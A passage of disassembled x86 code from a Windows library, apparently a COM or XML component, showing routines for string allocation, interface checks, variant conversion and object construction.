jmp short loc_69B3C3CD
; ---------------------------------------------------------------------------
loc_69B3C365: ; CODE XREF: sub_69B3C33C+20j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+1Ch]
lea ecx, [ebp+var_10]
push ebx
call sub_69B18B3B
mov esi, [esi+20h]
push [ebp+arg_4]
lea ecx, [esi+0Ch]
call sub_69B8ABC7
test eax, eax
jz short loc_69B3C3AC
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
test eax, eax
mov [edi], eax
jnz short loc_69B3C3A8
mov esi, 8007000Eh
jmp short loc_69B3C3BB
; ---------------------------------------------------------------------------
loc_69B3C3A8: ; CODE XREF: sub_69B3C33C+63j
xor esi, esi
jmp short loc_69B3C3BB
; ---------------------------------------------------------------------------
loc_69B3C3AC: ; CODE XREF: sub_69B3C33C+49j
push 0C00CE226h
call sub_69B2D34C
mov esi, 80004005h
loc_69B3C3BB: ; CODE XREF: sub_69B3C33C+6Aj
; sub_69B3C33C+6Ej
lea ecx, [ebp+var_10]
call sub_69B18EBA
push ebx
call dword_69B92944
mov eax, esi
pop esi
loc_69B3C3CD: ; CODE XREF: sub_69B3C33C+27j
pop ebx
loc_69B3C3CE: ; CODE XREF: sub_69B3C33C+13j
pop edi
leave
retn 0Ch
sub_69B3C33C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C3D3 proc near ; CODE XREF: .text:69B3CD1Aj
; .text:69B3CD24j ...
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
punkOuter = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
call dword_69B92948
test eax, eax
mov [ebp+var_C], eax
jnz short loc_69B3C3F0
mov eax, 80004005h
jmp locret_69B3C4BF
; ---------------------------------------------------------------------------
loc_69B3C3F0: ; CODE XREF: sub_69B3C3D3+11j
push ebx
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push [ebp+var_C]
lea ecx, [ebp+var_18]
call sub_69B1A8C7
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_69B3B7BC
mov ebx, 80004002h
cmp eax, ebx
mov [ebp+var_4], eax
jnz loc_69B3C4A9
push [ebp+arg_8]
add esi, 34h
push [ebp+arg_4]
push esi
call sub_69B88F8B
cmp eax, ebx
mov [ebp+var_4], eax
jnz short loc_69B3C4A9
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2B030
xor eax, eax
repe cmpsd
jnz short loc_69B3C488
mov esi, [ebp+arg_0]
lea eax, [ebp+punkOuter]
push eax
push offset stru_69B1CA6C
push esi
call sub_69B3B7BC
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B3C4A8
push [ebp+arg_8] ; int
lea ecx, [esi+74h] ; ppunkMarshal
push [ebp+arg_4] ; int
push [ebp+punkOuter] ; punkOuter
call sub_69B88245
mov [ebp+var_4], eax
mov eax, [ebp+punkOuter]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
cmp [ebp+var_4], ebx
jnz short loc_69B3C4A8
loc_69B3C488: ; CODE XREF: sub_69B3C3D3+78j
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B278E4
xor eax, eax
repe cmpsd
jnz short loc_69B3C4A8
push [ebp+arg_0]
push [ebp+arg_8]
call sub_69B17320
and [ebp+var_4], 0
loc_69B3C4A8: ; CODE XREF: sub_69B3C3D3+91j
; sub_69B3C3D3+B3j ...
pop edi
loc_69B3C4A9: ; CODE XREF: sub_69B3C3D3+4Cj
; sub_69B3C3D3+66j
lea ecx, [ebp+var_18]
call sub_69B1976C
push [ebp+var_C]
call dword_69B92944
mov eax, [ebp+var_4]
pop esi
pop ebx
locret_69B3C4BF: ; CODE XREF: sub_69B3C3D3+18j
leave
retn 0Ch
sub_69B3C3D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3C4C3 proc near ; DATA XREF: .text:69B123D0o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
mov edi, [ebp+arg_8]
test edi, edi
jnz short loc_69B3C4DB
mov eax, 80004003h
jmp loc_69B3C56F
; ---------------------------------------------------------------------------
loc_69B3C4DB: ; CODE XREF: sub_69B3C4C3+Cj
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B3C4EF
mov eax, 80004005h
jmp short loc_69B3C56E
; ---------------------------------------------------------------------------
loc_69B3C4EF: ; CODE XREF: sub_69B3C4C3+23j
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
lea eax, [esi+4Ch]
push eax
lea ecx, [ebp+arg_8]
call sub_69B1986C
push [ebp+arg_4]
lea ecx, [esi+3Ch]
call sub_69B3BEAE
test eax, eax
jz short loc_69B3C545
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
test eax, eax
mov [edi], eax
jnz short loc_69B3C541
mov esi, 8007000Eh
jmp short loc_69B3C554
; ---------------------------------------------------------------------------
loc_69B3C541: ; CODE XREF: sub_69B3C4C3+75j
xor esi, esi
jmp short loc_69B3C554
; ---------------------------------------------------------------------------
loc_69B3C545: ; CODE XREF: sub_69B3C4C3+5Bj
push 0C00CE226h
call sub_69B2D34C
mov esi, 80004005h
loc_69B3C554: ; CODE XREF: sub_69B3C4C3+7Cj
; sub_69B3C4C3+80j
lea ecx, [ebp+arg_8]
call sub_69B1948C
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, esi
pop esi
loc_69B3C56E: ; CODE XREF: sub_69B3C4C3+2Aj
pop ebx
loc_69B3C56F: ; CODE XREF: sub_69B3C4C3+13j
pop edi
leave
retn 0Ch
sub_69B3C4C3 endp
; =============== S U B R O U T I N E =======================================
sub_69B3C574 proc near ; DATA XREF: .text:69B123C8o
push 24h
push offset dword_69B3C628
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B3C597
mov eax, 80004005h
jmp loc_69B3C61B
; ---------------------------------------------------------------------------
loc_69B3C597: ; CODE XREF: sub_69B3C574+17j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
lea eax, [esi+4Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18E23
and dword ptr [ebp-4], 0
push 0FFFFFFFFh ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B3BD45
mov [ebp-30h], eax
push eax
lea ecx, [esi+3Ch]
call sub_69B3C1D4
and dword ptr [ebp-34h], 0
jmp short loc_69B3C5FB
; ---------------------------------------------------------------------------
loc_69B3C5DA: ; DATA XREF: .text:69B3C62Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3C5E3: ; DATA XREF: .text:69B3C630o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B3C5FB: ; CODE XREF: sub_69B3C574+64j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B3C61B: ; CODE XREF: sub_69B3C574+1Ej
call sub_69B1853C
retn 8
sub_69B3C574 endp
; ---------------------------------------------------------------------------
align 8
dword_69B3C628 dd 0FFFFFFFFh dd offset loc_69B3C5DA
dd offset loc_69B3C5E3
; =============== S U B R O U T I N E =======================================
sub_69B3C634 proc near ; CODE XREF: sub_69B3C888+11Bp
; sub_69B3CB30+44p
push 48h
push offset dword_69B3C870
call sub_69B19C5C
mov word ptr [ebp-28h], 1
xor ebx, ebx
mov [ebp-4], ebx
mov [ebp-2Ch], ebx
mov [ebp-30h], ebx
mov eax, [ebp+0Ch]
cmp eax, ebx
jz short loc_69B3C667
cmp [eax], bx
jz short loc_69B3C667
push 0FFFFFFFFh ; int
push eax ; lpString
call sub_69B3BD45
jmp short loc_69B3C66C
; ---------------------------------------------------------------------------
loc_69B3C667: ; CODE XREF: sub_69B3C634+22j
; sub_69B3C634+27j
mov eax, dword_69B95A18
loc_69B3C66C: ; CODE XREF: sub_69B3C634+31j
mov [ebp-34h], eax
push 8 ; vt
push ebx ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
mov edi, [ebp+10h]
push edi ; pvarSrc
lea eax, [ebp-28h]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jnz loc_69B3C752
call sub_69B1BCCF
mov esi, eax
mov [ebp-38h], esi
lea ecx, [esi+0Ch]
neg eax
sbb eax, eax
and eax, ecx
push eax
mov ecx, [ebp+8]
add ecx, 1Ch
call sub_69B89804
xor edi, edi
inc edi
push edi
mov ecx, esi
call sub_69B1D6A4
mov [esi+8Ch], bl
mov [esi+83h], bl
mov [esi+82h], bl
mov ecx, esi
call sub_69B3E0AB
mov [ebp-4], edi
push dword ptr [ebp-20h] ; lpString
call sub_69B1A587
mov [ebp-3Ch], eax
mov edx, [esi]
push ebx
push eax
mov ecx, esi
call dword ptr [edx+50h]
mov [ebp-40h], ebx
mov [ebp-4], ebx
jmp short loc_69B3C71A
; ---------------------------------------------------------------------------
loc_69B3C6F1: ; DATA XREF: .text:69B3C880o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3C6FA: ; DATA XREF: .text:69B3C884o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-40h], eax
xor ebx, ebx
mov [ebp-4], ebx
mov esi, [ebp-38h]
loc_69B3C71A: ; CODE XREF: sub_69B3C634+BBj
push dword ptr [ebp-40h]
mov ecx, esi
call sub_69B3E1E4
mov byte ptr [esi+0C9h], 1
cmp [ebp-40h], ebx
jnz loc_69B3C853
mov ecx, [esi+6Ch]
mov [ebp-44h], ecx
mov [ebp-48h], ecx
cmp ecx, ebx
jz short loc_69B3C746
call sub_69B2E875
loc_69B3C746: ; CODE XREF: sub_69B3C634+10Bj
mov ecx, esi
call sub_69B3D6C4
mov [ebp-2Ch], eax
jmp short loc_69B3C7BA
; ---------------------------------------------------------------------------
loc_69B3C752: ; CODE XREF: sub_69B3C634+55j
push edi
call sub_69B47D6F
mov esi, eax
mov [ebp-30h], esi
cmp esi, ebx
jz loc_69B3C801
mov edi, [esi+0Ch]
mov [ebp-4Ch], edi
mov [ebp-50h], edi
mov eax, [edi+40h]
mov [ebp-54h], eax
cmp eax, 4
jz short loc_69B3C78C
push ebx
push 0C00CE22Bh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B3C78C: ; CODE XREF: sub_69B3C634+143j
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jnz short loc_69B3C7A1
mov ecx, edi
call sub_69B3D6C4
mov esi, eax
mov [ebp-30h], esi
loc_69B3C7A1: ; CODE XREF: sub_69B3C634+15Fj
cmp esi, ebx
jz short loc_69B3C81F
mov [ebp-2Ch], esi
lea eax, [ebp-2Ch]
push eax
push 1
mov ecx, edi
call sub_69B3F90C
mov esi, eax
mov [ebp-38h], esi
loc_69B3C7BA: ; CODE XREF: sub_69B3C634+11Cj
lea eax, [esi+0ACh]
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
push ebx
call sub_69B8BEFC
mov [ebp-58h], eax
push ebx
push dword ptr [ebp-34h]
push dword ptr [ebp-2Ch]
push eax
push esi
call sub_69B5CB6E
mov edi, [ebp+8]
add edi, 3Ch
push dword ptr [ebp-34h]
mov ecx, edi
call sub_69B3C1D4
push dword ptr [ebp-58h]
push dword ptr [ebp-2Ch]
push esi
push dword ptr [ebp-34h]
mov ecx, edi
call sub_69B3C198
jmp short loc_69B3C82D
; ---------------------------------------------------------------------------
loc_69B3C801: ; CODE XREF: sub_69B3C634+12Bj
mov ax, [edi]
cmp ax, 1
jz short loc_69B3C81F
cmp ax, bx
jz short loc_69B3C81F
cmp ax, 0Ah
jz short loc_69B3C81F
push 80070057h
call sub_69B2E8B8
loc_69B3C81F: ; CODE XREF: sub_69B3C634+16Fj
; sub_69B3C634+1D4j ...
push dword ptr [ebp-34h]
mov ecx, [ebp+8]
add ecx, 3Ch
call sub_69B3C1D4
loc_69B3C82D: ; CODE XREF: sub_69B3C634+1CBj
mov [ebp-40h], ebx
jmp short loc_69B3C853
; ---------------------------------------------------------------------------
loc_69B3C832: ; DATA XREF: .text:69B3C874o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3C83B: ; DATA XREF: .text:69B3C878o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-40h], eax
loc_69B3C853: ; CODE XREF: sub_69B3C634+FAj
; sub_69B3C634+1FCj
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-28h]
push eax ; pvarg
call VariantClear
mov eax, [ebp-40h]
call sub_69B1853C
retn 0Ch
sub_69B3C634 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B3C870 dd 0FFFFFFFFh dd offset loc_69B3C832
dd offset loc_69B3C83B
align 10h
dd offset loc_69B3C6F1
dd offset loc_69B3C6FA
; =============== S U B R O U T I N E =======================================
sub_69B3C888 proc near ; DATA XREF: .text:69B123D4o
push 40h
push offset dword_69B3CA50
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B3C8AD
mov eax, 80004005h
jmp loc_69B3CA41
; ---------------------------------------------------------------------------
loc_69B3C8AD: ; CODE XREF: sub_69B3C888+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-2Ch], ebx
mov [ebp-30h], ebx
mov [ebp-34h], ebx
mov [ebp-38h], ebx
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B3C8DE
mov esi, 80004003h
jmp short loc_69B3C8E4
; ---------------------------------------------------------------------------
loc_69B3C8DE: ; CODE XREF: sub_69B3C888+4Dj
cmp edi, esi
jnz short loc_69B3C8FC
xor esi, esi
loc_69B3C8E4: ; CODE XREF: sub_69B3C888+54j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
jmp loc_69B3CA41
; ---------------------------------------------------------------------------
loc_69B3C8FC: ; CODE XREF: sub_69B3C888+58j
mov [ebp-4], ebx
mov eax, [edi]
lea ecx, [ebp-34h]
push ecx
push offset dword_69B278E4
push edi
call dword ptr [eax]
test eax, eax
jnz short loc_69B3C95A
mov edi, [ebp-34h]
add edi, 4Ch
mov [ebp-30h], edi
loc_69B3C91A: ; CODE XREF: sub_69B3C888+AEj
push 0FFFFFFFFh ; dwMilliseconds
mov ecx, edi
call sub_69B18BDC
lea ecx, [esi+4Ch]
call sub_69B1808E
test al, al
jnz short loc_69B3C938
mov ecx, edi
call sub_69B18ED9
jmp short loc_69B3C91A
; ---------------------------------------------------------------------------
loc_69B3C938: ; CODE XREF: sub_69B3C888+A5j
mov dword ptr [ebp-2Ch], 1
mov eax, [ebp-34h]
add eax, 3Ch
push eax
lea ecx, [esi+3Ch]
call sub_69B3C214
loc_69B3C94E: ; CODE XREF: sub_69B3C888+FBj
mov [ebp-50h], ebx
loc_69B3C951: ; CODE XREF: sub_69B3C888+138j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B3C9FD
; ---------------------------------------------------------------------------
loc_69B3C95A: ; CODE XREF: sub_69B3C888+87j
push 0FFFFFFFFh ; dwMilliseconds
lea ecx, [esi+4Ch]
call sub_69B18F8A
mov dword ptr [ebp-2Ch], 1
mov word ptr [ebp-48h], 0Dh
mov [ebp-4Ch], ebx
loc_69B3C974: ; CODE XREF: sub_69B3C888+149j
mov eax, [edi]
lea ecx, [ebp-38h]
push ecx
push dword ptr [ebp-4Ch]
push edi
call dword ptr [eax+2Ch]
test eax, eax
jnz short loc_69B3C94E
mov eax, [edi]
lea ecx, [ebp-40h]
push ecx
push dword ptr [ebp-38h]
push edi
call dword ptr [eax+20h]
test eax, eax
jnz short loc_69B3C9C2
cmp [ebp-40h], ebx
jz short loc_69B3C9C2
lea eax, [ebp-48h]
push eax
push dword ptr [ebp-38h]
push esi
call sub_69B3C634
mov [ebp-50h], eax
mov eax, [ebp-40h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
cmp [ebp-50h], ebx
jz short loc_69B3C9C2
mov dword ptr [ebp-50h], 80004005h
jmp short loc_69B3C951
; ---------------------------------------------------------------------------
loc_69B3C9C2: ; CODE XREF: sub_69B3C888+10Cj
; sub_69B3C888+111j ...
push dword ptr [ebp-38h] ; BSTR
call SysFreeString
mov [ebp-38h], ebx
inc dword ptr [ebp-4Ch]
jmp short loc_69B3C974
; ---------------------------------------------------------------------------
loc_69B3C9D3: ; DATA XREF: .text:69B3CA54o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3C9DC: ; DATA XREF: .text:69B3CA58o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-50h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
mov esi, [ebp+8]
loc_69B3C9FD: ; CODE XREF: sub_69B3C888+CDj
cmp [ebp-2Ch], ebx
jz short loc_69B3CA16
lea ecx, [esi+4Ch]
call sub_69B18381
mov ecx, [ebp-30h]
cmp ecx, ebx
jz short loc_69B3CA16
call sub_69B18ED9
loc_69B3CA16: ; CODE XREF: sub_69B3C888+178j
; sub_69B3C888+187j
lea eax, [ebp-34h]
push eax
call sub_69B17230
push dword ptr [ebp-38h] ; BSTR
call SysFreeString
lea ecx, [ebp-28h]
call sub_69B1976C
cmp [ebp-1Ch], ebx
jz short loc_69B3CA3E
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B3CA3E: ; CODE XREF: sub_69B3C888+1ABj
mov eax, [ebp-50h]
loc_69B3CA41: ; CODE XREF: sub_69B3C888+20j
; sub_69B3C888+6Fj
call sub_69B1853C
retn 8
sub_69B3C888 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3CA50 dd 0FFFFFFFFh dd offset loc_69B3C9D3
dd offset loc_69B3C9DC
; =============== S U B R O U T I N E =======================================
sub_69B3CA5C proc near ; CODE XREF: sub_69B3CB9A+56p
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B3C17F
mov eax, [esp+4+arg_0]
and dword ptr [esi+14h], 0
mov dword ptr [esi], offset off_69B12350
mov dword ptr [esi+4], offset off_69B278F4
mov [esi+10h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, esi
pop esi
retn 4
sub_69B3CA5C endp
; =============== S U B R O U T I N E =======================================
sub_69B3CA88 proc near ; DATA XREF: .text:off_69B278F4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3C164
test [esp+4+arg_0], 1
jz short loc_69B3CAA0
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B3CAA0: ; CODE XREF: sub_69B3CA88+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B3CA88 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CAA7 proc near ; CODE XREF: sub_69B3CC8F+4p
; sub_69B3CDC8+3p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B984C0
push off_69B984C4
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B3CAA7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CAC8 proc near ; DATA XREF: .text:69B13940o
; .text:69B14AA0o ...
push 10h
pop eax
retn
sub_69B3CAC8 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CACC proc near ; DATA XREF: .text:69B14AA4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B3CADC
retn 8
sub_69B3CACC endp
; =============== S U B R O U T I N E =======================================
sub_69B3CADC proc near ; CODE XREF: sub_69B3CACC+8p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push dword ptr [edi]
mov esi, ecx
push esi
call sub_69B17320
lea eax, [edi+4]
push eax
lea ecx, [esi+4]
call sub_69B4D414
mov eax, [edi+8]
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov [esi+8], eax
call sub_69B4D414
pop edi
mov eax, esi
pop esi
retn 4
sub_69B3CADC endp
; =============== S U B R O U T I N E =======================================
sub_69B3CB11 proc near ; DATA XREF: .text:off_69B27934o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3C290
test [esp+4+arg_0], 1
jz short loc_69B3CB29
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B3CB29: ; CODE XREF: sub_69B3CB11+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B3CB11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3CB30 proc near ; DATA XREF: .text:69B123C0o
var_10 = byte ptr -10h
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B3CB4A
mov eax, 80004005h
jmp short loc_69B3CB95
; ---------------------------------------------------------------------------
loc_69B3CB4A: ; CODE XREF: sub_69B3CB30+11j
push esi
mov esi, [ebp+arg_0]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_10]
call sub_69B1A8C7
lea eax, [esi+4Ch]
push eax
lea ecx, [ebp+var_4]
call sub_69B18E23
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push esi
call sub_69B3C634
lea ecx, [ebp+var_4]
mov esi, eax
call sub_69B1900C
lea ecx, [ebp+var_10]
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B3CB95: ; CODE XREF: sub_69B3CB30+18j
pop edi
leave
retn 18h
sub_69B3CB30 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CB9A proc near ; CODE XREF: sub_69B3CC54+21p
; sub_69B3CE0F+41p ...
push 20h
push offset dword_69B3CC48
call sub_69B19C5C
mov esi, [ebp+0Ch]
xor edi, edi
cmp esi, edi
jnz short loc_69B3CBB9
mov eax, 80004003h
jmp loc_69B3CC39
; ---------------------------------------------------------------------------
loc_69B3CBB9: ; CODE XREF: sub_69B3CB9A+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, edi
jnz short loc_69B3CBCD
mov eax, 80004005h
jmp short loc_69B3CC39
; ---------------------------------------------------------------------------
loc_69B3CBCD: ; CODE XREF: sub_69B3CB9A+2Aj
push 1
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [esi], edi
mov [ebp-4], edi
push 18h
call sub_69B1D897
mov ecx, eax
mov [ebp-2Ch], ecx
cmp ecx, edi
jz short loc_69B3CBF7
push dword ptr [ebp+8]
call sub_69B3CA5C
jmp short loc_69B3CBF9
; ---------------------------------------------------------------------------
loc_69B3CBF7: ; CODE XREF: sub_69B3CB9A+51j
xor eax, eax
loc_69B3CBF9: ; CODE XREF: sub_69B3CB9A+5Bj
mov [esi], eax
mov [ebp-30h], edi
jmp short loc_69B3CC21
; ---------------------------------------------------------------------------
loc_69B3CC00: ; DATA XREF: .text:69B3CC4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3CC09: ; DATA XREF: .text:69B3CC50o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B3CC21: ; CODE XREF: sub_69B3CB9A+64j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B3CC39: ; CODE XREF: sub_69B3CB9A+1Aj
; sub_69B3CB9A+31j
call sub_69B1853C
retn 8
sub_69B3CB9A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3CC48 dd 0FFFFFFFFh dd offset loc_69B3CC00
dd offset loc_69B3CC09
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3CC54 proc near ; DATA XREF: .text:69B12368o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_4]
test edi, edi
jnz short loc_69B3CC66
mov eax, 80004003h
jmp short loc_69B3CC8A
; ---------------------------------------------------------------------------
loc_69B3CC66: ; CODE XREF: sub_69B3CC54+9j
and [ebp+arg_4], 0
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+arg_4]
push eax
push dword ptr [esi+10h]
call sub_69B3CB9A
test eax, eax
mov ecx, [ebp+arg_4]
jnz short loc_69B3CC87
mov edx, [esi+14h]
mov [ecx+14h], edx
loc_69B3CC87: ; CODE XREF: sub_69B3CC54+2Bj
mov [edi], ecx
pop esi
loc_69B3CC8A: ; CODE XREF: sub_69B3CC54+10j
pop edi
pop ebp
retn 8
sub_69B3CC54 endp
; =============== S U B R O U T I N E =======================================
sub_69B3CC8F proc near ; CODE XREF: sub_69B3CE6E+2Ap
push esi
push edi
mov esi, ecx
call sub_69B3CAA7
lea edi, [esi+1Ch]
mov ecx, edi
call sub_69B1D6CD
mov dword ptr [edi], offset off_69B279BC
mov dword ptr [esi], offset off_69B123A4
mov dword ptr [esi+4], offset off_69B279AC
mov dword ptr [esi+0Ch], offset off_69B279A8
mov dword ptr [esi+18h], offset off_69B2796C
mov dword ptr [esi+34h], offset off_69B2794C
mov dword ptr [esi+38h], offset off_69B27938
xor edi, edi
mov [esi+40h], edi
or dword ptr [esi+44h], 0FFFFFFFFh
push 100h
push 1000h
lea ecx, [esi+4Ch]
mov [esi+48h], edi
mov dword ptr [esi+3Ch], offset off_69B3CD00
call sub_69B19B0D
mov [esi+74h], edi
pop edi
mov eax, esi
pop esi
retn
sub_69B3CC8F endp
; ---------------------------------------------------------------------------
align 10h
off_69B3CD00 dd offset loc_69B14A3C ; DATA XREF: sub_69B3CC8F+5Bo
; ---------------------------------------------------------------------------
loc_69B3CD04: ; DATA XREF: .text:69B27960o
lea eax, [ecx+18h]
retn
; ---------------------------------------------------------------------------
loc_69B3CD08: ; DATA XREF: .text:69B2788Co
; .text:69B27964o
lea eax, [ecx-34h]
add ecx, 0FFFFFFE8h
neg eax
sbb eax, eax
and eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B3CD15: ; DATA XREF: .text:off_69B279ACo
sub dword ptr [esp+4], 4
jmp sub_69B3C3D3
; ---------------------------------------------------------------------------
loc_69B3CD1F: ; DATA XREF: .text:off_69B2796Co
sub dword ptr [esp+4], 18h
jmp sub_69B3C3D3
; ---------------------------------------------------------------------------
loc_69B3CD29: ; DATA XREF: .text:off_69B2794Co
sub dword ptr [esp+4], 34h
jmp sub_69B3C3D3
; ---------------------------------------------------------------------------
loc_69B3CD33: ; DATA XREF: .text:off_69B27938o
sub dword ptr [esp+4], 38h
jmp sub_69B3C3D3
; ---------------------------------------------------------------------------
loc_69B3CD3D: ; DATA XREF: .text:off_69B279A8o
push esi
mov esi, ecx
call sub_69B3CD5C
test byte ptr [esp+8], 1
jz short loc_69B3CD55
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B3CD55: ; CODE XREF: .text:69B3CD4Aj
lea eax, [esi-0Ch]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B3CD5C proc near ; CODE XREF: .text:69B3CD40p
push esi
mov esi, ecx
push edi
lea edi, [esi+10h]
mov ecx, edi
mov dword ptr [esi-0Ch], offset off_69B123A4
mov dword ptr [esi-8], offset off_69B279AC
mov dword ptr [esi], offset off_69B279A8
mov dword ptr [esi+0Ch], offset off_69B2796C
mov dword ptr [edi], offset off_69B279BC
mov dword ptr [esi+28h], offset off_69B2794C
mov dword ptr [esi+2Ch], offset off_69B27938
call sub_69B89EA3
lea eax, [esi+68h]
push eax
call sub_69B17230
lea ecx, [esi+44h]
call loc_69B1AE86
lea eax, [esi+34h]
push eax
call sub_69B17230
lea ecx, [esi-0Ch]
neg ecx
sbb ecx, ecx
and ecx, edi
call sub_69B3BA55
pop edi
pop esi
jmp sub_69B2C65C
sub_69B3CD5C endp
; =============== S U B R O U T I N E =======================================
sub_69B3CDC8 proc near ; CODE XREF: sub_69B58C7C+83p
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B3CAA7
push [esp+4+arg_0]
lea ecx, [esi+1Ch]
mov dword ptr [esi], offset off_69B1236C
